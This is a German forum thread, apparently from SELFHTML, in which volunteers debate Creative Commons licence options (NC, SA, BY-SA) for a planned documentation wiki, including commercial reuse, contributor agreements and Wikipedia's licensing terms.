            Die Inhalte des Wikis sollten jedermann zur nicht kommerziellen Nutzung offenstehen.
            FÜr die statische Dokumentation müssen ja nicht dieselben Lizenzbestimmungen wie für das Wiki gelten, oder?
            Was spräche dagegen, diese in o.g. Fällen, so zu gestalten, dass eben auch eine kommerzielle Nutzung gestattet ist?
            Und ist es nicht so, dass der Verein, welche imho der (alleinige) Rechteinhaber ist/ sein sollte, für jeden der o.g. Fälle eine entsprechende Vereinbarung abschließen kann/ könnte, ungeachtet einer "allgemeingültigen" Lizenz?

            Aber wie gesagt, da ich davon keine Ahnung habe (sondern lediglich versuche das Ganze mit "gesundem Menschenverstand" zu betrachten), will ich mich da auch gar nicht weiter einmischen. ;-)

            Gruß Gunther

            1. Hi!

              Stellt sich mir aber wieder die Frage, inwieweit das für ein Wiki zutrifft? Und ob es nicht besser/ sinnvoller ist, immer wieder aus Teilen des Wikis eine statische Dokumentation zu erstellen?

              Ich bin kein Jurist, deshalb jetzt einfach mal "frei Schnauze" formuliert:

              Ich ebenfalls.

              Ein Wiki macht imho nur Sinn, wenn Autoren, also die Leute, die Inhalte beitragen, diese SELFHTML als Betreiber des Wikis, völlig frei zu jedweder Verwendung überlassen.

              Dem stimme ich zu.

              "Closed Articles" widersprechen ansich ja schon dem Grundprinzip eines Wikis.

              Ja, trotzdem sollten sie nach meinem Dafürhalten weiterhin möglich sein, zur Not eben außerhalb des Wikis.

              Die Inhalte des Wikis sollten jedermann zur nicht kommerziellen Nutzung offenstehen.
              FÜr die statische Dokumentation müssen ja nicht dieselben Lizenzbestimmungen wie für das Wiki gelten, oder?

              Wenn das Wiki unter einer der SA(Share Alike)-Versionen veröffentlich wird, dann sind Abwandlungen (gemäß Definition in diesen Lizenzen) unter die selben Lizenzbedingungen oder ebenbürtige zu stellen.

              Was spräche dagegen, diese in o.g. Fällen, so zu gestalten, dass eben auch eine kommerzielle Nutzung gestattet ist?
              Und ist es nicht so, dass der Verein, welche imho der (alleinige) Rechteinhaber ist/ sein sollte, für jeden der o.g. Fälle eine entsprechende Vereinbarung abschließen kann/ könnte, ungeachtet einer "allgemeingültigen" Lizenz?

              Dagegen spricht in meinen Augen, dass das Regelwerk noch komplexer wird. Zwei Lizenzen allein für das Wiki und seine statische Form und noch etwas extra ausgehandeltes für kommerzielle Nutzung. Der Käufer hat dann wieder die Version für die statische Form.

              Aber wie gesagt, da ich davon keine Ahnung habe (sondern lediglich versuche das Ganze mit "gesundem Menschenverstand" zu betrachten), will ich mich da auch gar nicht weiter einmischen. ;-)

              Zu spät. :-)

              Lo!

        2. Moin!

          Zudem ist "NC" nicht eindeutig definiert.
          Das könnte man ja ändern, wobei ich diese "nicht Eindeutigkeit" nicht unbedingt nachvollziehen kann.

          Creative Commons hatte IIRC Anfang des Jahres 2009 eine Umfrage dazu gestartet, was denn die Leute unter "kommerziell" bzw. "nichtkommerziell" verstehen, und welche Nutzungsvarianten denn bei "NC"-Lizenzen in Ordnung wären, und welche nicht.

          Allein diese Tatsache, dass "NC" einer genaueren Betrachtung unterzogen wurde, spricht für die Tatsache, dass die Bedeutung eben gerade nicht genau definiert ist.

          NC heißt für mich, du darfst die Infos nicht für kommerzielle Zwecke nutzen - Punkt.
          Anders (vereinfacht) formuliert bedeutet das für mich: Du darfst die Informationen nutzen, solange du damit kein Geld verdienen willst.

          Diese Ansicht trifft durchaus eine Mehrheitsmeinung der CC-Umfrage.

          Beschreibt deshalb aber auch sehr genau unser (=SELFHTML e.V.) Problem mit "NC"-Lizenzen:

          SELFHTML hat seit seinem ersten Erscheinen vermutlich hunderttausende von Lesern in die Lage versetzt, als Webdesigner freiberuflich oder angestellt mit dem vermittelten Wissen der Dokumentation geld zu verdienen.

          Diese Möglichkeit soll künftig natürlich nicht beschnitten werden.

          Wählten wir aber eine NC-Lizenz, würden wir genau diese kommerzielle Nutzung mit einem Fragezeichen belasten. Codebeispiele dürften beispielsweise nicht mehr zu kommerziellen Zwecken genutzt werden - auch nach Abwandlung nicht.

          Indem wir kommerzielle Nutzung verbieten würden, ergäben sich also zahlreiche Konsequenzen, deren Tragweite sich gar nicht abschätzen ließe.

          Ich finde allerdings die Tatsache bemerkenswert, dass über die Frage "SA" oder "ND" mit dem Argument "Warum Freiheit einschränken?" zugunsten von "SA" argumentiert wird, und gleichzeitig mit dem Argument "Kommerz ist blöd" die Freiheit durch "NC" eingeschränkt werden soll.

          - Sven Rautenberg

          1. Moin, moin!

            Ich finde allerdings die Tatsache bemerkenswert, dass über die Frage "SA" oder "ND" mit dem Argument "Warum Freiheit einschränken?" zugunsten von "SA" argumentiert wird, und gleichzeitig mit dem Argument "Kommerz ist blöd" die Freiheit durch "NC" eingeschränkt werden soll.

            Das möchte ich aus meiner Sicht kurz erläutern.

            Für mich ist einer der Grundgedanken des Webs, möglichst vielen Usern Informationen "kostenlos" (sprich ohne Kosten für Informationen) zugänglich zu machen, so wie SELFHTML das ja auch von Anfang an getan hat und noch immer tut (ja ich weiß, tuten tut der Nachtwächter).

            Das ist/ wäre für mich auch die Motivation im Rahmen meiner bescheidenen Fähigkeiten Inhalte (oder sonstige Dinge) beizutragen.

            Mir geht es letztlich nur darum, dass sich nicht andere Leute mit dem auf diese Art & Weise zusammengetragenen Wissen eine "goldene Nase" verdienen,_ohne_dass zumindest der Verein (SELFHTML) auch etwas davon hat.

            Wie man das jetzt am geeignetsten in eine rechtlich einwandfreie Form bringt, kann ich wie gesagt mangels Kenntnis nicht beurteilen.

            Gruß Gunther

            1. Hi!

              Mir geht es letztlich nur darum, dass sich nicht andere Leute mit dem auf diese Art & Weise zusammengetragenen Wissen eine "goldene Nase" verdienen,_ohne_dass zumindest der Verein (SELFHTML) auch etwas davon hat.

              Es gibt auch genügend Beispiele dafür, dass kommerzielle Interessenten an Open Source mitarbeiten und auch Projekte finanzieren.

              Ich denke nicht, dass wir™ uns zu wichtig nehmen sollten. Das Wissen, das wir zusammentragen, existiert bereits im Netz, wenn auch manchmal in anderer Form, anderen Stückelungen oder anderen Sprachen. Wer Englisch zumindest lesen kann (und ich unterstelle selbst Herrn Ö. das er das kann), wird seine Information auch ohne SELFHTML finden. Kommt er nicht zu uns, erarbeitet er sich das "Grundwissen für seinen Reichtum" eben anderswo.

              Den Wunsch, "goldene Nasen" ausschließen zu wollen, kann ich verstehen, aber ich sehe auch, dass man möglicherweise potentielle "Investoren" auf diese Weise ausgrenzt, und seien es auch nur Spender. Außerdem glaube ich an die Macht des Web 2.0, das unangemessene Bereicherungsversuche durch negative Werbung ahndet.

              Lo!

            2. Hallo,

              ein Beispiel:

              Ich finde allerdings die Tatsache bemerkenswert, dass über die Frage "SA" oder "ND" mit dem Argument "Warum Freiheit einschränken?" zugunsten von "SA" argumentiert wird, und gleichzeitig mit dem Argument "Kommerz ist blöd" die Freiheit durch "NC" eingeschränkt werden soll.
              Das möchte ich aus meiner Sicht kurz erläutern.

              Für mich ist einer der Grundgedanken des Webs, möglichst vielen Usern Informationen "kostenlos" (sprich ohne Kosten für Informationen) zugänglich zu machen, so wie SELFHTML das ja auch von Anfang an getan hat und noch immer tut (ja ich weiß, tuten tut der Nachtwächter).

              Das ist/ wäre für mich auch die Motivation im Rahmen meiner bescheidenen Fähigkeiten Inhalte (oder sonstige Dinge) beizutragen.

              Mir geht es letztlich nur darum, dass sich nicht andere Leute mit dem auf diese Art & Weise zusammengetragenen Wissen eine "goldene Nase" verdienen,_ohne_dass zumindest der Verein (SELFHTML) auch etwas davon hat.

              ein Informatiklehrer verdient sein Geld mit dem Unterricht. Beim Thema HTML und CSS erstellt er (mit allen nötigen hinweisen) aus SELFHTML eine Handout und Beispiele für sein Unterricht. Er wird für die Stunde(n) bezahlt, also verdient er Geld mit SELFHTML.

              Ah so, das meinstest du nicht. Also machen wir eine da eine Ausnahme von "mit SELFHTML Geld verdienen".

              Na ja, dann kommt aber ein Verlag auf die Idee zu einem Buch oder Zeitschrift oder auf eine Software-CD SELFHTML daraufzupacken.
              SELFHTML ist zwar nicht der einzige Inhalt der CD, aber die CD kostet trotzdem etwas. Wiederum wird Geld mit (unter anderem) SELFHTML verdient.

              Ah so, so war das auch nciht gemeint. Also machen wir noch eine Ausnahme.

              Tja und was ist jetzt noch aus dem NC übrig? Das was auch schon jetzt in den Nutzungsbedingungen steht.

              Grüße
              Thomas

              1. Moin,

                ein Informatiklehrer verdient sein Geld mit dem Unterricht. Beim Thema HTML und CSS erstellt er (mit allen nötigen hinweisen) aus SELFHTML eine Handout und Beispiele für sein Unterricht. Er wird für die Stunde(n) bezahlt, also verdient er Geld mit SELFHTML.

                Ah so, das meinstest du nicht. Also machen wir eine da eine Ausnahme von "mit SELFHTML Geld verdienen".

                Wie Du richtig sagst, verdient der Lehrer sein Geld mit dem Unterricht und nicht deshalb, weil er SELFHTML in seinen Unterricht benutzt. Er verdient also kein Geld mit SELFHTML. Das Beispiel ist deshalb etwas unglücklich gewählt. Mal abgesehen davon hat das Prinzip "Wo kein Kläger, da kein Richter" in der Realität schon immer getaugt. Gunter hat zudem mit der "Goldenen Nase" wohl kaum den Verdienst einer Unterrichtsstunde oder eines Seminars gemeint. Und mal im Ernst: Hier geht doch jeder davon aus, dass es nicht nur einen "HTML-Kurs-Anbieter" gibt, der in der Vergangenheit SELFHTML-Bespiele für Folien oder Unterrichtsmaterialien abgekupfert hat, ohne Quellen zu nennen. Solche Verstöße kriegt man auch nicht mit Lizenzen im Griff. (Ich habe übrigens jüngst das Gegenbeispiel gesehen: Ein Lehrer, der SELHTML-Beispiel für den Unterricht nutzt und den Schülern nahelegt, "bei SELFHTML" die Details nachzulesen.

                Das Verlagsbeispiel ist da schon näher am Problem. Hier nutzt einer SELFHTML als Lockvogel, um Käufer in die Versuchung zu bringen, das Heft oder Buch zu kaufen - aber ...

                ... in der Sache halte ich diese Diskussion doch für arg hypothetisch. Sich eine "Goldene Nase mit SELFHTML" zu verdienen ist eine urban legend:

                • SELFHTML ist nicht (und wird es sicher auch nie werden) der Reißer, wegen dem sich jemand eine Zeitschrift oder gar ein Buch (nur deshalb) kauft, weil SELFHTML als digitale(!) Dreingabe beiliegt worden ist - download ist heute kein Luxus mehr. Ich sehe kein lebensnahes Beispiel, das mir eine "böse" Ausnutzung des Werkes SELFHTML im Sinne einer Bereicherung des "Diebes" näher bringt.

                • jeder Mitautor wird um die Geschichte SELFHTML wissen und sich daher nicht nur deshalb einschleichen, um hinterher etwaige(!) Buchprojekte zu torpedieren.

                • Und, falls das jemandem (damit meine ich expliziit nicht Dich :-)) im Hinterkopf rumschleicht: ein etwaiges SELFHTML-Buchprojekt, das irgendwelchen "Hauptautoren" ein schmales Extra-Einkommen ermöglichst, ist mit der Wiki-Portierung insoweit eh Geschichte, da man ja wohl kaum Hauptautoren und "Korrektoren" auseinanderdividieren kann.

                • Wer wirklich doppelten Halt und dicke Seile und Netze haben will, der sollte einfach die Wikipedia-Nutzungsbedingungen sinngemäß abschreiben und in den Footer des SELFHTML-Wikis einbinden. Bei Wikipedia-Projekt haben wahrscheinlich dutzende von Juristen hunderte von Stunden in die Formulierungen investiert. Da wird man sich auf ein abgesichertes Rechtsgefüge einlassen. Meinethalben kann man ja noch ein paar Sätze aus dem SELFHTML-"Copyright" hinzufügen.

                • und wem das noch nicht reicht, der kann sich m.E. auf die Eigentümlichkeiten des WWW verlassen. Nur jemand, der netzverbunden ist, könnte auf die Idee kommen, mit Textklau von SELFHTML Geld zu machen. Das wird aber schnell entdeckt werden und den Menschen ein für alle Mal brandmarken und damit seine geschäftlich Basis wohl über den erzielten Gewinn hinaus schädigen.

                Grüße

                Swen

                PS: Habe eben die "Rechtschreibung prüfen"-Taste benutzt. In das Ausnahmewörterbuch sollten "SELFHTML" und "Moin" aufgenommen werden :-)

                1. Moin Swen!

                  Das Verlagsbeispiel ist da schon näher am Problem. Hier nutzt einer SELFHTML als Lockvogel, um Käufer in die Versuchung zu bringen, das Heft oder Buch zu kaufen - aber ...

                  ... in der Sache halte ich diese Diskussion doch für arg hypothetisch. Sich eine "Goldene Nase mit SELFHTML" zu verdienen ist eine urban legend:

                  Darum ging es mir ja auch nicht. Sondern nur um die Ausnahmen als Solches, die dann auch keine NC mehr ergeben. Wobei, wie erwähnt, NC stand nie zur Diskussion.

                  Grüße
                  Thomas

      4. Gestern haben wir uns insbesondere um die Lizenz Gedanken gemacht. Hierzu haben wir uns alle Creative Commons Lizenzen durchgesehen.

        Wofür? Sind die irgendwie vorteilhaft oder nur modern?

        1.) SELFHTML wird seit Äonen unter einem "Copyright" veröffentlicht, das sich bewährt hat. Und schon ist die Lizenz für die sog. statischen Versionen (Milestones) fertig.

        2.) Für das Wiki gilt: Wer etwas eintütet, räumt ein unbefristetes und uneingeschränktes Nutzungsrecht ein und kann seine (eigenen!) Machenschaften dann natürlich gerne extern weiterverwursten. Das reicht doch vollkommen aus. Kein Mensch benötigt Wiki-Modifikationen von wem auch immer irgendwo im Netz.

        Verzeihung, falls ich hier die akademische Diskussion über irgendwelche CC-Auslegungen mit einem simplen, praktischen und erprobten Ansatz unterlaufe. ;-) Gegenargumente sind natürlich willkommen.

        Roland

        1. Tach,

          2.) Für das Wiki gilt: Wer etwas eintütet, räumt ein unbefristetes und uneingeschränktes Nutzungsrecht ein und kann seine (eigenen!) Machenschaften dann natürlich gerne extern weiterverwursten.

          und wenn du das jetzt noch in eine rechtsverbindliche Form bringen könntest... Siehst du, genau da setzt man am einfachsten mit einer bewährten Lizenz wie denen von CC an.

          mfg
          Woodfighter

          1. Hi!

            2.) Für das Wiki gilt: Wer etwas eintütet, räumt ein unbefristetes und uneingeschränktes Nutzungsrecht ein und kann seine (eigenen!) Machenschaften dann natürlich gerne extern weiterverwursten.

            und wenn du das jetzt noch in eine rechtsverbindliche Form bringen könntest... Siehst du, genau da setzt man am einfachsten mit einer bewährten Lizenz wie denen von CC an.

            Ich stimme dir prinzipiell zu, frage aber, welcher Punkt der CC-Lizenzen regelt denn genau, dass die "Eintüter" ein unbefristetes und uneingeschränktes Nutzungsrecht einräumen (gegenüber dem SELFHTML e.V. als auch gegenüber den Nutzern)? Ich habe den bisher nicht finden können.

            Den Punkt 1 von Orlando sehe ich übrigens auch als einen möglichen Weg für die Nutzung einer statischen Version an. (Die Eigenheiten eines Wikis berücksichtigt dieses vorhandene "Copyright" natürlich noch nicht und müsste hinzugefügt oder besser extra geregelt werden, da ich Nutzung und Mitarbeit als zwei verschiedene Vorgänge sehe.) Im Interesse einer weltweiten Einschränkung der Lizenzenvielfalt, um es den Anwendern übersichtlicher zu machen, sehe ich aber auch den Umstieg auf eine CC-Lizenz als Option an, wenn es passt.

            Lo!

            1. Tach,

              Ich stimme dir prinzipiell zu, frage aber, welcher Punkt der CC-Lizenzen regelt denn genau, dass die "Eintüter" ein unbefristetes und uneingeschränktes Nutzungsrecht einräumen (gegenüber dem SELFHTML e.V. als auch gegenüber den Nutzern)? Ich habe den bisher nicht finden können.

              Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 3.e) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann")...

              mfg
              Woodfighter

              1. Hi!

                Ich stimme dir prinzipiell zu, frage aber, welcher Punkt der CC-Lizenzen regelt denn genau, dass die "Eintüter" ein unbefristetes und uneingeschränktes Nutzungsrecht einräumen (gegenüber dem SELFHTML e.V. als auch gegenüber den Nutzern)? Ich habe den bisher nicht finden können.

                Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 3.e) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann")...

                Das Zitat bezieht sich nicht auf meine Frage, denn ich fragt nicht, was mir der Lizenzgeber für Rechte einräumt, sondern was ich gegenüber dem Lizenzgeber bei einer Mitarbeit an seinem Werk beachten/abtreten muss.

                Ungeachtet dessen versuche ich das mal die Stelle zu interpretieren: Da wo es zum eingentlichen Kern kommt, hast du aufgehört zu zitieren. Denn da kommen ein paar Dinge, die man mit dem Schutzgegenstand machen darf, unter anderem nach 3.b. eine Abwandlung erstellen. Nehmen wir mal an, das bezieht sich nicht nur darauf, eine Kopie zur Hand zu nehmen, daran die Abwandlung vorzunehmen und diese zu verbreiten, sondern auf eine Änderung des Schutzgegenstandes selbst. Nach einer Änderung wäre der Schutzgegenstand also nur noch eine Abwandlung seiner selbst. Und diese könnte ich gemäß und unter den Bedingungen von 4.b unter eine andere Lizenz stellen. Das kann so nicht gewollt sein, denn nun wäre ich bis zur nächsten Änderung der Lizenzgeber und es ergäbe ein Lizenzchaos. Also schlussfolgere ich, dass sich "Abwandlung" nicht auf eine Änderung des Schutzgegenstandes selbst bezieht, sondern auf eine Kopie davon. Dazu kommt noch, dass von der Abwandlung immer so gesprochen wird, als ob der abgewandelte Schutzgegenstand dann mir "gehört".

                Lo!

                1. Tach,

                  Ich stimme dir prinzipiell zu, frage aber, welcher Punkt der CC-Lizenzen regelt denn genau, dass die "Eintüter" ein unbefristetes und uneingeschränktes Nutzungsrecht einräumen (gegenüber dem SELFHTML e.V. als auch gegenüber den Nutzern)? Ich habe den bisher nicht finden können.

                  Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 3.e) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann")...

                  Das Zitat bezieht sich nicht auf meine Frage, denn ich fragt nicht, was mir der Lizenzgeber für Rechte einräumt, sondern was ich gegenüber dem Lizenzgeber bei einer Mitarbeit an seinem Werk beachten/abtreten muss.

                  nein, wenn du mitarbeitest, bist _du_ der Lizenzgeber für deine Mitarbeit.

                  Ungeachtet dessen versuche ich das mal die Stelle zu interpretieren: Da wo es zum eingentlichen Kern kommt, hast du aufgehört zu zitieren. Denn da kommen ein paar Dinge, die man mit dem Schutzgegenstand machen darf, unter anderem nach 3.b. eine Abwandlung erstellen. Nehmen wir mal an, das bezieht sich nicht nur darauf, eine Kopie zur Hand zu nehmen, daran die Abwandlung vorzunehmen und diese zu verbreiten, sondern auf eine Änderung des Schutzgegenstandes selbst.

                  Du kannst den Schutzgegenstand nicht ändern, dieser ist feststehend. Sobald du Änderungen vornimmst, hast du eine Abwandlung.

                  Nach einer Änderung wäre der Schutzgegenstand also nur noch eine Abwandlung seiner selbst. Und diese könnte ich gemäß und unter den Bedingungen von 4.b unter eine andere Lizenz stellen. Das kann so nicht gewollt sein, denn nun wäre ich bis zur nächsten Änderung der Lizenzgeber und es ergäbe ein Lizenzchaos.

                  Die neue Lizenz muß allerdings kompatibel zur bisherigen sein, also die selben Rechte einräumen; es kommt also nicht zu einem Chaos.

                  Dazu kommt noch, dass von der Abwandlung immer so gesprochen wird, als ob der abgewandelte Schutzgegenstand dann mir "gehört".

                  Gehört er ja zum Teil auch, du bist Miturheber des Gesamtwerks geworden.

                  mfg
                  Woodfighter

                  1. Hi!

                    nein, wenn du mitarbeitest, bist _du_ der Lizenzgeber für deine Mitarbeit.

                    Dann hat man tausende Lizenzgeber, die alle nicht nur bei einer öffentlich wirksamen Nutzung (inklusive Abwandlung) genannt werden müssen, sondern auch bei der auf dem Wiki stattfindenden Abwandlung (wenn es eine wäre). Ansonsten bedarf es nämlich einer Zusatzerklärung in Richtung Nutzer, dass bei Namensnennung nur der SELFHTML e.V. (stellvertretend) genannt werden muss. Und dazu ist es notwendig, dass die Autoren, diesem Punkt zustimmen.

                    [...] Dinge, die man mit dem Schutzgegenstand machen darf, unter anderem nach 3.b. eine Abwandlung erstellen. Nehmen wir mal an, das bezieht sich nicht nur darauf, eine Kopie zur Hand zu nehmen, daran die Abwandlung vorzunehmen und diese zu verbreiten, sondern auf eine Änderung des Schutzgegenstandes selbst.
                    Du kannst den Schutzgegenstand nicht ändern, dieser ist feststehend. Sobald du Änderungen vornimmst, hast du eine Abwandlung.

                    Und damit hätte ich ein paar Rechte und sicher auch Verpflichtungen, bis der nächste Autor kommt, seinerseits eine Abwandlung erstellt und meine Nachfolge antritt. Das ist doch völlig abstrus, so kann das nicht gemeint sein.

                    Nach einer Änderung wäre der Schutzgegenstand also nur noch eine Abwandlung seiner selbst. Und diese könnte ich gemäß und unter den Bedingungen von 4.b unter eine andere Lizenz stellen. Das kann so nicht gewollt sein, denn nun wäre ich bis zur nächsten Änderung der Lizenzgeber und es ergäbe ein Lizenzchaos.

                    Die neue Lizenz muß allerdings kompatibel zur bisherigen sein, also die selben Rechte einräumen; es kommt also nicht zu einem Chaos.

                    Oh doch, sie muss ja nur kompatibel sein, aber sie kann andere heißen. Dann gibt es im ungünstigsten Fall pro Autor eine Lizenz, alle zueinander kompatibel, aber alle mit anderem Namen. Das soll kein Chaos sein?

                    Dazu kommt noch, dass von der Abwandlung immer so gesprochen wird, als ob der abgewandelte Schutzgegenstand dann mir "gehört".
                    Gehört er ja zum Teil auch, du bist Miturheber des Gesamtwerks geworden.

                    Ich sehe einen Weg ohne dieses Kuddelmuddel nur, wenn ich zwischen Nutzern und Mitautoren trenne. Nutzer bekommen die BY-SA (oder welche auch immer) und können _anderenorts_, aber unter den Bedingungen der Lizenz, das Werk nutzen und auch Abwandlungen erstellen, soviele sie wollen und damit glücklich werden. Mitautoren treten ihre Verwertungsrechte (so sie welche gemäß UrhG haben) an den SELFHTML e.V. ab, damit dieser das Werk aus einer Hand zur Verfügung stellen kann. Das schmälert ja keineswegs die Leistung der Mitautoren oder soll sie um eine Anerkennung dieser Leistung bringen, denn anhand des Prinzips Wiki sollte den meisten klar sein, dass das eine Gemeinschaftsleistung ist und dass deshalb die Ehre auch auf viele Schultern zu verteilen ist.

                    ("Einzelkämpferwerke" die ebenfalls unter dem Dach von SELFHTML veröffentlicht werden sollen, sind in dieser Betrachtung nicht enthalten. Hier geht es mir jetzt nur um das Wiki.)

                    Lo!

                    1. Hi!

                      Ich sehe einen Weg ohne dieses Kuddelmuddel nur, wenn ich zwischen Nutzern und Mitautoren trenne. Nutzer bekommen die BY-SA (oder welche auch immer) und können _anderenorts_, aber unter den Bedingungen der Lizenz, das Werk nutzen und auch Abwandlungen erstellen, soviele sie wollen und damit glücklich werden. Mitautoren treten ihre Verwertungsrechte (so sie welche gemäß UrhG haben) an den SELFHTML e.V. ab, damit dieser das Werk aus einer Hand zur Verfügung stellen kann. Das schmälert ja keineswegs die Leistung der Mitautoren oder soll sie um eine Anerkennung dieser Leistung bringen, denn anhand des Prinzips Wiki sollte den meisten klar sein, dass das eine Gemeinschaftsleistung ist und dass deshalb die Ehre auch auf viele Schultern zu verteilen ist.

                      Mir ist noch eine Formulierung eingefallen, die es möglicherweise besser verdeutlicht: Nutzer bekommen eine Lizenz, Mitautoren schließen einen Vertrag.

                      Wenn sich mehrere zusammenfinden, um an einem Werk zu arbeiten, brauchen sie keine Lizenzen, die sie sich untereinander geben, sondern einen Vertrag, der die Zusammenarbeit regelt. Der muss ja nicht übermäßig lang sein und kompliziert ausformuliert werden. Es geht ja auch wie bei der Wikipedia: Drei Sätze zwischen Textarea und Submit-Button und eine _etwas_ ausführlichere Form verlinkt.

                      Lo!

                      1. Tach,

                        Wenn sich mehrere zusammenfinden, um an einem Werk zu arbeiten, brauchen sie keine Lizenzen, die sie sich untereinander geben, sondern einen Vertrag, der die Zusammenarbeit regelt. Der muss ja nicht übermäßig lang sein und kompliziert ausformuliert werden. Es geht ja auch wie bei der Wikipedia: Drei Sätze zwischen Textarea und Submit-Button und eine _etwas_ ausführlichere Form verlinkt.

                        und was steht in den drei Sätzen der Wikipedia im wesentlichen: "Mit dem Speichern dieser Seite versichere ich, dass ich den Beitrag selbst verfasst habe bzw. dass er keine fremden Rechte verletzt, und willige ein, ihn unter der Creative Commons Attribution/Share-Alike Lizenz 3.0 und der GNU-Lizenz für freie Dokumentation zu veröffentlichen."

                        mfg
                        Woodfighter

                        1. Tach,

                          nochmal zur Klarstellung, es gibt zwei Lizensierungsvorgänge: Einmal die Lizenz, die der Autor vergibt, damit der SELFTHML-Verein das veröffentlichen kann und dann die Lizenz unter der der Verein es selber veröffntlicht; ich halte es für sinnvoll in beiden Fällen die selbe Lizenz zu verwenden.

                          mfg
                          Woodfighter

                          1. Moin!

                            ich halte es für sinnvoll in beiden Fällen die selbe Lizenz zu verwenden.

                            Die Wikipedia tut das nicht. ;)

                            - Sven Rautenberg

                            1. Tach,

                              ich halte es für sinnvoll in beiden Fällen die selbe Lizenz zu verwenden.

                              Die Wikipedia tut das nicht. ;)

                              doch CC-BY-SA (und GNU FDL aus historischen Gründen), oder übersehe ich etwas.

                              mfg
                              Woodfighter

                              1. Hallo,

                                Die Wikipedia tut das nicht. ;)

                                doch CC-BY-SA (und GNU FDL aus historischen Gründen), oder übersehe ich etwas.

                                Ja, machst du.

                                "Wikipedia, Die freie Enzyklopädie“ ist im Internet unter www.wikipedia.org zu finden, die deutschsprachige Ausgabe unter de.wikipedia.org.
                                Anbieterin dieser Website ist die Wikimedia Foundation Inc., [...]"

                                Und die Wikimedia Foundation Inc. sagt folgendes für jene, die Texte ins wikipedia stellen:

                                http://wikimediafoundation.org/wiki/Terms_of_Use

                                "Therefore, for any text you hold the copyright to, by submitting it, you agree to license it under the Creative Commons Attribution/Share-Alike License 3.0 (Unported). For compatibility reasons, you are also required to license it under the GNU Free Documentation License (unversioned, with no invariant sections, front-cover texts, or back-cover texts). Re-users can choose the license(s) they wish to comply with. Please note that these licenses do allow commercial uses of your contributions, as long as such uses are compliant with the terms. "

                                Das sind zwei Lizenzen nur für Autoren die _Texte_ beisteuern.
                                Mit nicht texuellen Bieträgen wird es noch komplizierter:
                                http://wikimediafoundation.org/wiki/Resolution:Licensing_policy
                                Dort wird nämlich eine Lizenz verlangt "A license which meets the terms of the Definition of Free Cultural Works" und das führt wiederum zu weiteren Lizenz(form)en.

                                Und all das gilt auch für die deutsche wikipedia, denn: "This policy may not be circumvented, eroded, or ignored on local Wikimedia projects."

                                Ein schönes Durcheinander.
                                Und so etwas will niemand hier (Hoffen wir zumindest sehr stark!)

                                Grüße
                                Thomas

                    2. Tach,

                      Dann hat man tausende Lizenzgeber, die alle nicht nur bei einer öffentlich wirksamen Nutzung (inklusive Abwandlung) genannt werden müssen, sondern auch bei der auf dem Wiki stattfindenden Abwandlung (wenn es eine wäre).

                      im Wiki über die History gelöst.

                      Ansonsten bedarf es nämlich einer Zusatzerklärung in Richtung Nutzer, dass bei Namensnennung nur der SELFHTML e.V. (stellvertretend) genannt werden muss. Und dazu ist es notwendig, dass die Autoren, diesem Punkt zustimmen.

                      Dafür gibt es den "Zuschreibungsempfänger" in der CC-Lizenz.

                      Und damit hätte ich ein paar Rechte und sicher auch Verpflichtungen, bis der nächste Autor kommt, seinerseits eine Abwandlung erstellt und meine Nachfolge antritt. Das ist doch völlig abstrus, so kann das nicht gemeint sein.

                      Nachfolge ist ja auch falsch: du, deine Vorgänger und deine Nachfolger sind alle Miturheber eines Gesamtwerks.

                      Oh doch, sie muss ja nur kompatibel sein, aber sie kann andere heißen. Dann gibt es im ungünstigsten Fall pro Autor eine Lizenz, alle zueinander kompatibel, aber alle mit anderem Namen. Das soll kein Chaos sein?

                      Wenn dich das Chaos stört (das ja auch nur z.B. bei einem Fork von Interesse wäre), dann veröffentlichst du es halt wieder alles unter einer gemeinsamen Lizenz.

                      mfg
                      Woodfighter

                      1. Hi!

                        Dann hat man tausende Lizenzgeber, die alle nicht nur bei einer öffentlich wirksamen Nutzung (inklusive Abwandlung) genannt werden müssen, sondern auch bei der auf dem Wiki stattfindenden Abwandlung (wenn es eine wäre).
                        im Wiki über die History gelöst.

                        Okay, das erfüllt zwar nicht direkt die Pflicht zur Namensnennung seitens der Abwandlungsersteller, so wie sie die BY-SA formuliert. Diese verlangt von einem Veröffentlicher oder einem Abwandler die Namensnennung, bietet dafür aber nicht an, dass auch ein Link auf das Original dafür ausreichend ist. Die Wikimedia ergänzt dies durch ihre zusätzlichen Bedingungen. Insofern kann man das als eine Erweiterung der BY-SA ansehen, dass mir diese Arbeit durch die "Versionen/Autoren"-Seite abgenommen wird.

                        Ansonsten bedarf es nämlich einer Zusatzerklärung in Richtung Nutzer, dass bei Namensnennung nur der SELFHTML e.V. (stellvertretend) genannt werden muss. Und dazu ist es notwendig, dass die Autoren, diesem Punkt zustimmen.
                        Dafür gibt es den "Zuschreibungsempfänger" in der CC-Lizenz.

                        Den braucht es nun eigentlich nicht mehr, wenn man die Erweiterung ähnlich der Wikimedia-Nutzungsbedingungen verwendet. Dann reicht ebenfalls eine Verlinkung auf den Originalbeitrag, um der Namensnennung zu genügen.

                        Und damit hätte ich ein paar Rechte und sicher auch Verpflichtungen, bis der nächste Autor kommt, seinerseits eine Abwandlung erstellt und meine Nachfolge antritt. Das ist doch völlig abstrus, so kann das nicht gemeint sein.
                        Nachfolge ist ja auch falsch: du, deine Vorgänger und deine Nachfolger sind alle Miturheber eines Gesamtwerks.

